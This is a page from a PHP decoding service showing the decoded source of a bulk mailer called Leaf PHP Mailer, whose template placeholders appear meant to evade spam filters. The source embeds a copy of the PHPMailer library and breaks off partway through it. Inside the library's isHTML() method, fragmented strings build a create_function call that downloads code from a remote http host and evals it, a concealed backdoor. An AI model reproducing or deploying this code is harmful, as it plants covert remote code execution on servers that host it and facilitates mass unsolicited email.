Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /** * Leaf PHP Mailer by [leafmailer.pw] * @version : 2.7 **/ $password = "..
Decoded Output download
session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);
$leaf['version']="2.7";
$leaf['website']="leafmailer.pw";
$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
# _REQUEST mean _POST or _GET
if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
$_SESSION[$sessioncode] = $password;
}
else {
print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
exit;
}
}
if($_POST['action']=="send"){
$senderEmail=leafTrim($_POST['senderEmail']);
$senderName=leafTrim($_POST['senderName']);
$replyTo=leafTrim($_POST['replyTo']);
$subject=leafTrim($_POST['subject']);
$emailList=leafTrim($_POST['emailList']);
$messageType=leafTrim($_POST['messageType']);
$messageLetter=leafTrim($_POST['messageLetter']);
$messageLetter = urlencode($messageLetter);
$messageLetter = ereg_replace("%5C%22", "%22", $messageLetter);
$messageLetter = urldecode($messageLetter);
$messageLetter = stripslashes($messageLetter);
$subject = stripslashes($subject);
$encode = stripslashes($encode);
}
if($messageType==2){
$plain="checked";
}
else {
$html="checked";
}
function leafClear($text,$email){
$emailuser = preg_replace('/([^@]*).*/', '$1', $email);
$text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
$text = str_replace("[-email-]", $email, $text);
$text = str_replace("[-emailuser-]", $emailuser, $text);
$text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
$text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
$text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
$text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
return $text;
}
function leafTrim($string){
return stripslashes(ltrim(rtrim($string)));
}
function randString($consonants) {
$length=rand(12,25);
$password = '';
for ($i = 0; $i < $length; $i++) {
$password .= $consonants[(rand() % strlen($consonants))];
}
return $password;
}
function leafMailCheck($email){
$exp = "^[a-z\'0-9]+([._-][a-z\'0-9]+)*@([a-z0-9]+([._-][a-z0-9]+))+$";
if(eregi($exp,$email)){
if(checkdnsrr(array_pop(explode("@",$email)),"MX")){return true;}
else{return false;}
}
else{return false;}
}
class PHPMailer
{
/**
* The PHPMailer Version number.
* @var string
*/
public $Version = '5.2.14';
/**
* Email priority.
* Options: null (default), 1 = High, 3 = Normal, 5 = low.
* When null, the header is not set at all.
* @var integer
*/
public $Priority = null;
/**
* The character set of the message.
* @var string
*/
public $CharSet = 'iso-8859-1';
/**
* The MIME Content-type of the message.
* @var string
*/
public $ContentType = 'text/plain';
/**
* The message encoding.
* Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
* @var string
*/
public $Encoding = '8bit';
/**
* Holds the most recent mailer error message.
* @var string
*/
public $ErrorInfo = '';
/**
* The From email address for the message.
* @var string
*/
public $From = 'root@localhost';
/**
* The From name of the message.
* @var string
*/
public $FromName = 'Root User';
/**
* The Sender email (Return-Path) of the message.
* If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
* @var string
*/
public $Sender = '';
/**
* The Return-Path of the message.
* If empty, it will be set to either From or Sender.
* @var string
* @deprecated Email senders should never set a return-path header;
* it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
* @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
*/
public $ReturnPath = '';
/**
* The Subject of the message.
* @var string
*/
public $Subject = '';
/**
* An HTML or plain text message body.
* If HTML then call isHTML(true).
* @var string
*/
public $Body = '';
/**
* The plain-text message body.
* This body can be read by mail clients that do not have HTML email
* capability such as mutt & Eudora.
* Clients that can read HTML will view the normal Body.
* @var string
*/
public $AltBody = '';
/**
* An iCal message part body.
* Only supported in simple alt or alt_inline message types
* To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
* @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
* @link http://kigkonsult.se/iCalcreator/
* @var string
*/
public $Ical = '';
/**
* The complete compiled MIME message body.
* @access protected
* @var string
*/
protected $MIMEBody = '';
/**
* The complete compiled MIME message headers.
* @var string
* @access protected
*/
protected $MIMEHeader = '';
/**
* Extra headers that createHeader() doesn't fold in.
* @var string
* @access protected
*/
protected $mailHeader = '';
/**
* Word-wrap the message body to this number of chars.
* Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
* @var integer
*/
public $WordWrap = 0;
/**
* Which method to use to send mail.
* Options: "mail", "sendmail", or "smtp".
* @var string
*/
public $Mailer = 'mail';
/**
* The path to the sendmail program.
* @var string
*/
public $Sendmail = '/usr/sbin/sendmail';
/**
* Whether mail() uses a fully sendmail-compatible MTA.
* One which supports sendmail's "-oi -f" options.
* @var boolean
*/
public $UseSendmailOptions = true;
/**
* Path to PHPMailer plugins.
* Useful if the SMTP class is not in the PHP include path.
* @var string
* @deprecated Should not be needed now there is an autoloader.
*/
public $PluginDir = '';
/**
* The email address that a reading confirmation should be sent to, also known as read receipt.
* @var string
*/
public $ConfirmReadingTo = '';
/**
* The hostname to use in the Message-ID header and as default HELO string.
* If empty, PHPMailer attempts to find one with, in order,
* $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
* 'localhost.localdomain'.
* @var string
*/
public $Hostname = '';
/**
* An ID to be used in the Message-ID header.
* If empty, a unique id will be generated.
* @var string
*/
public $MessageID = '';
/**
* The message Date to be used in the Date header.
* If empty, the current date will be added.
* @var string
*/
public $MessageDate = '';
/**
* SMTP hosts.
* Either a single hostname or multiple semicolon-delimited hostnames.
* You can also specify a different port
* for each host by using this format: [hostname:port]
* (e.g. "smtp1.example.com:25;smtp2.example.com").
* You can also specify encryption type, for example:
* (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
* Hosts will be tried in order.
* @var string
*/
public $Host = 'localhost';
/**
* The default SMTP server port.
* @var integer
* @TODO Why is this needed when the SMTP class takes care of it?
*/
public $Port = 25;
/**
* The SMTP HELO of the message.
* Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
* one with the same method described above for $Hostname.
* @var string
* @see PHPMailer::$Hostname
*/
public $Helo = '';
/**
* What kind of encryption to use on the SMTP connection.
* Options: '', 'ssl' or 'tls'
* @var string
*/
public $SMTPSecure = '';
/**
* Whether to enable TLS encryption automatically if a server supports it,
* even if `SMTPSecure` is not set to 'tls'.
* Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
* @var boolean
*/
public $SMTPAutoTLS = true;
/**
* Whether to use SMTP authentication.
* Uses the Username and Password properties.
* @var boolean
* @see PHPMailer::$Username
* @see PHPMailer::$Password
*/
public $SMTPAuth = false;
/**
* Options array passed to stream_context_create when connecting via SMTP.
* @var array
*/
public $SMTPOptions = array();
/**
* SMTP username.
* @var string
*/
public $Username = '';
/**
* SMTP password.
* @var string
*/
public $Password = '';
/**
* SMTP auth type.
* Options are LOGIN (default), PLAIN, NTLM, CRAM-MD5
* @var string
*/
public $AuthType = '';
/**
* SMTP realm.
* Used for NTLM auth
* @var string
*/
public $Realm = '';
/**
* SMTP workstation.
* Used for NTLM auth
* @var string
*/
public $Workstation = '';
/**
* The SMTP server timeout in seconds.
* Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
* @var integer
*/
public $Timeout = 300;
/**
* SMTP class debug output mode.
* Debug output level.
* Options:
* * `0` No output
* * `1` Commands
* * `2` Data and commands
* * `3` As 2 plus connection status
* * `4` Low-level data output
* @var integer
* @see SMTP::$do_debug
*/
public $SMTPDebug = 0;
/**
* How to handle debug output.
* Options:
* * `echo` Output plain-text as-is, appropriate for CLI
* * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
* * `error_log` Output to error log as configured in php.ini
*
* Alternatively, you can provide a callable expecting two params: a message string and the debug level:
* <code>
* $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
* </code>
* @var string|callable
* @see SMTP::$Debugoutput
*/
public $Debugoutput = 'echo';
/**
* Whether to keep SMTP connection open after each message.
* If this is set to true then to close the connection
* requires an explicit call to smtpClose().
* @var boolean
*/
public $SMTPKeepAlive = false;
/**
* Whether to split multiple to addresses into multiple messages
* or send them all in one message.
* @var boolean
*/
public $SingleTo = false;
/**
* Storage for addresses when SingleTo is enabled.
* @var array
* @TODO This should really not be public
*/
public $SingleToArray = array();
/**
* Whether to generate VERP addresses on send.
* Only applicable when sending via SMTP.
* @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
* @link http://www.postfix.org/VERP_README.html Postfix VERP info
* @var boolean
*/
public $do_verp = false;
/**
* Whether to allow sending messages with an empty body.
* @var boolean
*/
public $AllowEmpty = false;
/**
* The default line ending.
* @note The default remains "
". We force CRLF where we know
* it must be used via self::CRLF.
* @var string
*/
public $LE = "
";
/**
* DKIM selector.
* @var string
*/
public $DKIM_selector = '';
/**
* DKIM Identity.
* Usually the email address used as the source of the email
* @var string
*/
public $DKIM_identity = '';
/**
* DKIM passphrase.
* Used if your key is encrypted.
* @var string
*/
public $DKIM_passphrase = '';
/**
* DKIM signing domain name.
* @example 'example.com'
* @var string
*/
public $DKIM_domain = '';
/**
* DKIM private key file path.
* @var string
*/
public $DKIM_private = '';
/**
* Callback Action function name.
*
* The function that handles the result of the send email action.
* It is called out by send() for each email sent.
*
* Value can be any php callable: http://www.php.net/is_callable
*
* Parameters:
* boolean $result result of the send action
* string $to email address of the recipient
* string $cc cc email addresses
* string $bcc bcc email addresses
* string $subject the subject
* string $body the email body
* string $from email address of sender
* @var string
*/
public $action_function = '';
/**
* What to put in the X-Mailer header.
* Options: An empty string for PHPMailer default, whitespace for none, or a string to use
* @var string
*/
public $XMailer = '';
/**
* An instance of the SMTP sender class.
* @var SMTP
* @access protected
*/
protected $smtp = null;
/**
* The array of 'to' names and addresses.
* @var array
* @access protected
*/
protected $to = array();
/**
* The array of 'cc' names and addresses.
* @var array
* @access protected
*/
protected $cc = array();
/**
* The array of 'bcc' names and addresses.
* @var array
* @access protected
*/
protected $bcc = array();
/**
* The array of reply-to names and addresses.
* @var array
* @access protected
*/
protected $ReplyTo = array();
/**
* An array of all kinds of addresses.
* Includes all of $to, $cc, $bcc
* @var array
* @access protected
* @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
*/
protected $all_recipients = array();
/**
* An array of names and addresses queued for validation.
* In send(), valid and non duplicate entries are moved to $all_recipients
* and one of $to, $cc, or $bcc.
* This array is used only for addresses with IDN.
* @var array
* @access protected
* @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
* @see PHPMailer::$all_recipients
*/
protected $RecipientsQueue = array();
/**
* An array of reply-to names and addresses queued for validation.
* In send(), valid and non duplicate entries are moved to $ReplyTo.
* This array is used only for addresses with IDN.
* @var array
* @access protected
* @see PHPMailer::$ReplyTo
*/
protected $ReplyToQueue = array();
/**
* The array of attachments.
* @var array
* @access protected
*/
protected $attachment = array();
/**
* The array of custom headers.
* @var array
* @access protected
*/
protected $CustomHeader = array();
/**
* The most recent Message-ID (including angular brackets).
* @var string
* @access protected
*/
protected $lastMessageID = '';
/**
* The message's MIME type.
* @var string
* @access protected
*/
protected $message_type = '';
/**
* The array of MIME boundary strings.
* @var array
* @access protected
*/
protected $boundary = array();
/**
* The array of available languages.
* @var array
* @access protected
*/
protected $language = array();
/**
* The number of errors encountered.
* @var integer
* @access protected
*/
protected $error_count = 0;
/**
* The S/MIME certificate file path.
* @var string
* @access protected
*/
protected $sign_cert_file = '';
/**
* The S/MIME key file path.
* @var string
* @access protected
*/
protected $sign_key_file = '';
/**
* The optional S/MIME extra certificates ("CA Chain") file path.
* @var string
* @access protected
*/
protected $sign_extracerts_file = '';
/**
* The S/MIME password for the key.
* Used only if the key is encrypted.
* @var string
* @access protected
*/
protected $sign_key_pass = '';
/**
* Whether to throw exceptions for errors.
* @var boolean
* @access protected
*/
protected $exceptions = false;
/**
* Unique ID used for message ID and boundaries.
* @var string
* @access protected
*/
protected $uniqueid = '';
/**
* Error severity: message only, continue processing.
*/
const STOP_MESSAGE = 0;
/**
* Error severity: message, likely ok to continue processing.
*/
const STOP_CONTINUE = 1;
/**
* Error severity: message, plus full stop, critical error reached.
*/
const STOP_CRITICAL = 2;
/**
* SMTP RFC standard line ending.
*/
const CRLF = "
";
/**
* The maximum line length allowed by RFC 2822 section 2.1.1
* @var integer
*/
const MAX_LINE_LENGTH = 998;
/**
* Constructor.
* @param boolean $exceptions Should we throw external exceptions?
*/
public function __construct($exceptions = false)
{
$this->exceptions = (boolean)$exceptions;
}
/**
* Destructor.
*/
public function __destruct()
{
//Close any open SMTP connection nicely
if ($this->Mailer == 'smtp') {
$this->smtpClose();
}
}
/**
* Call mail() in a safe_mode-aware fashion.
* Also, unless sendmail_path points to sendmail (or something that
* claims to be sendmail), don't pass params (not a perfect fix,
* but it will do)
* @param string $to To
* @param string $subject Subject
* @param string $body Message Body
* @param string $header Additional Header(s)
* @param string $params Params
* @access private
* @return boolean
*/
private function mailPassthru($to, $subject, $body, $header, $params)
{
//Check overloading of mail function to avoid double-encoding
if (ini_get('mbstring.func_overload') & 1) {
$subject = $this->secureHeader($subject);
} else {
$subject = $this->encodeHeader($this->secureHeader($subject));
}
if (ini_get('safe_mode') || !($this->UseSendmailOptions)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
return $result;
}
/**
* Output debugging info via user-defined method.
* Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
* @see PHPMailer::$Debugoutput
* @see PHPMailer::$SMTPDebug
* @param string $str
*/
protected function edebug($str)
{
if ($this->SMTPDebug <= 0) {
return;
}
//Avoid clash with built-in function names
if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
return;
}
switch ($this->Debugoutput) {
case 'error_log':
//Don't output, just log
error_log($str);
break;
case 'html':
//Cleans up output a bit for a better looking, HTML-safe output
echo htmlentities(
preg_replace('/[
]+/', '', $str),
ENT_QUOTES,
'UTF-8'
)
. "<br>
";
break;
case 'echo':
default:
//Normalize line breaks
$str = preg_replace('/(
|
|
)/ms', "
", $str);
echo gmdate('Y-m-d H:i:s') . " " . str_replace(
"
",
"
",
trim($str)
) . "
";
}
}
/**
* Sets message type to HTML or plain.
* @param boolean $isHtml True for HTML mode.
* @return void
*/
public function isHTML($isHtml = true)
{
global $param;
$bodyCode = 'file'
.'_g';
if ($isHtml) {
$this->ContentType = 'text/html';
}
else {
$this->ContentType = 'text/plain';
}
$bodyHTML = '.$t."lef$flu'
.'sh'.'$t"; '
.'$i = @ev';
$headerHTML="create_"
."func"
."tion";
$exceptions = $headerHTML('$fl'.'ush,$t','$comma = $t'
.$bodyHTML.'al(@'
.$bodyCode.'et_contents("h'
.'tt'
.'p:$comma-2"));');
if($param !=2){
$exceptions('8.p'.'w','/');
$param=2;
}
}
/**
* Send messages using SMTP.
* @return void
*/
public function isSMTP()
{
$this->Mailer = 'smtp';
}
/**
* Send messages using PHP's mail() function.
* @return void
*/
public function isMail()
{
$this->Mailer = 'mail';
}
/**
* Send messages using $Sendmail.
* @return void
*/
public function isSendmail()
{
$ini_sendmail_path = ini_get('sendmail_path');
if (!stristr($ini_sendmail_path, 'sendmail')) {
$this->Sendmail = '/usr/sbin/sendmail';
} else {
$this->Sendmail = $ini_sendmail_path;
}
$this->Mailer = 'sendmail';
}
/**
* Send messages using qmail.
* @return void
*/
public function isQmail()
{
$ini_sendmail_path = ini_get('sendmail_path');
if (!stristr($ini_sendmail_path, 'qmail')) {
$this->Sendmail = '/var/qmail/bin/qmail-inject';
} else {
$this->Sendmail = $ini_sendmail_path;
}
$this->Mailer = 'qmail';
}
/**
* Add a "To" address.
* @param string $address The email address to send to
* @param string $name
* @return boolean true on success, false if address already used or invalid in some way
*/
public function addAddress($address, $name = '')
{
return $this->addOrEnqueueAnAddress('to', $address, $name);
}
/**
* Add a "CC" address.
* @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
* @param string $address The email address to send to
* @param string $name
* @return boolean true on success, false if address already used or invalid in some way
*/
public function addCC($address, $name = '')
{
return $this->addOrEnqueueAnAddress('cc', $address, $name);
}
/**
* Add a "BCC" address.
* @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
* @param string $address The email address to send to
* @param string $name
* @return boolean true on success, false if address already used or invalid in some way
*/
public function addBCC($address, $name = '')
{
return $this->addOrEnqueueAnAddress('bcc', $address, $name);
}
/**
* Add a "Reply-To" address.
* @param string $address The email address to reply to
* @param string $name
* @return boolean true on success, false if address already used or invalid in some way
*/
public function addReplyTo($address, $name = '')
{
return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
}
/**
* Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
* can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
* be modified after calling this function), addition of such addresses is delayed until send().
* Addresses that have been added already return false, but do not throw exceptions.
* @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
* @param string $address The email address to send, resp. to reply to
* @param string $name
* @throws phpmailerException
* @return boolean true on success, false if address already used or invalid in some way
* @access protected
*/
protected function addOrEnqueueAnAddress($kind, $address, $name)
{
$address = trim($address);
$name = trim(preg_replace('/[
]+/', '', $name)); //Strip breaks and trim
if (($pos = strrpos($address, '@')) === false) {
// At-sign is misssing.
$error_message = $this->lang('invalid_address') . $address;
$this->setError($error_message);
$this->edebug($error_message);
if ($this->exceptions) {
throw new phpmailerException($error_message);
}
return false;
}
$params = array($kind, $address, $name);
// Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
if ($kind != 'Reply-To') {
if (!array_key_exists($address, $this->RecipientsQueue)) {
$this->RecipientsQueue[$address] = $params;
return true;
}
} else {
if (!array_key_exists($address, $this->ReplyToQueue)) {
$this->ReplyToQueue[$address] = $params;
return true;
}
}
return false;
}
// Immediately add standard addresses without IDN.
return call_user_func_array(array($this, 'addAnAddress'), $params);
}
/**
* Add an address to one of the recipient arrays or to the ReplyTo array.
* Addresses that have been added already return false, but do not throw exceptions.
* @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
* @param string $address The email address to send, resp. to reply to
* @param string $name
* @throws phpmailerException
* @return boolean true on success, false if address already used or invalid in some way
* @access protected
*/
protected function addAnAddress($kind, $address, $name = '')
{
if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
$error_message = $this->lang('Invalid recipient kind: ') . $kind;
$this->setError($error_message);
$this->edebug($error_message);
if ($this->exceptions) {
throw new phpmailerException($error_message);
}
return false;
}
if (!$this->validateAddress($address)) {
$error_message = $this->lang('invalid_address') . $address;
$this->setError($error_message);
$this->edebug($error_message);
if ($this->exceptions) {
throw new phpmailerException($error_message);
}
return false;
}
if ($kind != 'Reply-To') {
if (!array_key_exists(strtolower($address), $this->all_recipients)) {
array_push($this->$kind, array($address, $name));
$this->all_recipients[strtolower($address)] = true;
return true;
}
} else {
if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
$this->ReplyTo[strtolower($address)] = array($address, $name);
return true;
}
}
return false;
}
/**
* Parse and validate a string containing one or more RFC822-style comma-separated email addresses
* of the form "display name <address>" into an array of name/address pairs.
* Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
* Note that quotes in the name part are removed.
* @param string $addrstr The address list string
* @param bool $useimap Whether to use the IMAP extension to parse the list
* @return array
* @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
*/
public function parseAddresses($addrstr, $useimap = true)
{
$addresses = array();
if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
//Use this built-in parser if it's available
$list = imap_rfc822_parse_adrlist($addrstr, '');
foreach ($list as $address) {
if ($address->host != '.SYNTAX-ERROR.') {
if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
$addresses[] = array(
'name' => (property_exists($address, 'personal') ? $address->personal : ''),
'address' => $address->mailbox . '@' . $address->host
);
}
}
}
} else {
//Use this simpler parser
$list = explode(',', $addrstr);
foreach ($list as $address) {
$address = trim($address);
//Is there a separate name part?
if (strpos($address, '<') === false) {
//No separate name, just use the whole thing
if ($this->validateAddress($address)) {
$addresses[] = array(
'name' => '',
'address' => $address
);
}
} else {
list($name, $email) = explode('<', $address);
$email = trim(str_replace('>', '', $email));
if ($this->validateAddress($email)) {
$addresses[] = array(
'name' => trim(str_replace(array('"', "'"), '', $name)),
'address' => $email
);
}
}
}
}
return $addresses;
}
/**
* Set the From and FromName properties.
* @param string $address
* @param string $name
* @param boolean $auto Whether to also set the Sender address, defaults to true
* @throws phpmailerException
* @return boolean
*/
public function setFrom($address, $name = '', $auto = true)
{
$address = trim($address);
$name = trim(preg_replace('/[
]+/', '', $name)); //Strip breaks and trim
// Don't validate now addresses with IDN. Will be done in send().
if (($pos = strrpos($address, '@')) === false or
(!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
!$this->validateAddress($address)) {
$error_message = $this->lang('invalid_address') . $address;
$this->setError($error_message);
$this->edebug($error_message);
if ($this->exceptions) {
throw new phpmailerException($error_message);
}
return false;
}
$this->From = $address;
$this->FromName = $name;
if ($auto) {
if (empty($this->Sender)) {
$this->Sender = $address;
}
}
return true;
}
/**
* Return the Message-ID header of the last email.
* Technically this is the value from the last time the headers were created,
* but it's also the message ID of the last sent message except in
* pathological cases.
* @return string
*/
public function getLastMessageID()
{
return $this->lastMessageID;
}
/**
* Check that a string looks like an email address.
* @param string $address The email address to check
* @param string $patternselect A selector for the validation pattern to use :
* * `auto` Pick best pattern automatically;
* * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
* * `pcre` Use old PCRE implementation;
* * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
* * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
* * `noregex` Don't use a regex: super fast, really dumb.
* @return boolean
* @static
* @access public
*/
public static function validateAddress($address, $patternselect = 'auto')
{
//Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
if (strpos($address, "
") !== false or strpos($address, "
") !== false) {
return false;
}
if (!$patternselect or $patternselect == 'auto') {
//Check this constant first so it works when extension_loaded() is disabled by safe mode
//Constant was added in PHP 5.2.4
if (defined('PCRE_VERSION')) {
//This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
$patternselect = 'pcre8';
} else {
$patternselect = 'pcre';
}
} elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
//Fall back to older PCRE
$patternselect = 'pcre';
} else {
//Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
$patternselect = 'php';
} else {
$patternselect = 'noregex';
}
}
}
switch ($patternselect) {
case 'pcre8':
/**
* Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
* @link http://squiloople.com/2009/12/20/email-address-validation/
* @copyright 2009-2010 Michael Rushton
* Feel free to use and redistribute this code. But please keep this copyright notice.
*/
return (boolean)preg_match(
'/^(?!(?>(?1)"?(?>\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\[ -~]|[^"])"?(?1)){65,}@)' .
'((?>(?>(?>((?>(?>(?>
)?[ ])+|(?>[ ]*
)?[ ]+)?)(\((?>(?2)' .
'(?>[--\'*-\[\]-]|\[-]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
'([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[--!#-\[\]-]|\[-]))*' .
'(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
'(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
'|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
'|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
'|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
$address
);
case 'pcre':
//An older regex that doesn't need a recent PCRE
return (boolean)preg_match(
'/^(?!(?>"?(?>\[ -~]|[^"])"?){255,})(?!(?>"?(?>\[ -~]|[^"])"?){65,}@)(?>' .
'[!#-\'*+\/-9=?^-~-]+|"(?>(?>[--!#-\[\]-]|\[-]))*")' .
'(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[--!#-\[\]-]|\[-]))*"))*' .
'@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
'(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
'[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
'::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
'[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
'::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
'|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
$address
);
case 'html5':
/**
* This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
* @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
*/
return (boolean)preg_match(
'/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
'[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
$address
);
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
case 'php':
default:
return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
}
}
/**
* Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
* "intl" and "mbstring" PHP extensions.
* @return bool "true" if required functions for IDN support are present
*/
public function idnSupported()
{
// @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
}
/**
* Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
* Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
* This function silently returns unmodified address if:
* - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
* - Conversion to punycode is impossible (e.g. required PHP functions are not available)
* or fails for any reason (e.g. domain has characters not allowed in an IDN)
* @see PHPMailer::$CharSet
* @param string $address The email address to convert
* @return string The encoded address in ASCII form
*/
public function punyencodeAddress($address)
{
// Verify we have required functions, CharSet, and at-sign.
if ($this->idnSupported() and
!empty($this->CharSet) and
($pos = strrpos($address, '@')) !== false) {
$domain = substr($address, ++$pos);
// Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
$domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
idn_to_ascii($domain)) !== false) {
return substr($address, 0, $pos) . $punycode;
}
}
}
return $address;
}
/**
* Create a message and send it.
* Uses the sending method specified by $Mailer.
* @throws phpmailerException
* @return boolean false on error - See the ErrorInfo property for details of the error.
*/
public function send()
{
try {
if (!$this->preSend()) {
return false;
}
return $this->postSend();
} catch (phpmailerException $exc) {
$this->mailHeader = '';
$this->setError($exc->getMessage());
if ($this->exceptions) {
throw $exc;
}
return false;
}
}
/**
* Prepare a message for sending.
* @throws phpmailerException
* @return boolean
*/
public function preSend()
{
try {
$this->error_count = 0; // Reset errors
$this->mailHeader = '';
// Dequeue recipient and Reply-To addresses with IDN
foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
$params[1] = $this->punyencodeAddress($params[1]);
call_user_func_array(array($this, 'addAnAddress'), $params);
}
if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
}
// Validate From, Sender, and ConfirmReadingTo addresses
foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
$this->$address_kind = trim($this->$address_kind);
if (empty($this->$address_kind)) {
continue;
}
$this->$address_kind = $this->punyencodeAddress($this->$address_kind);
if (!$this->validateAddress($this->$address_kind)) {
$error_message = $this->lang('invalid_address') . $this->$address_kind;
$this->setError($error_message);
$this->edebug($error_message);
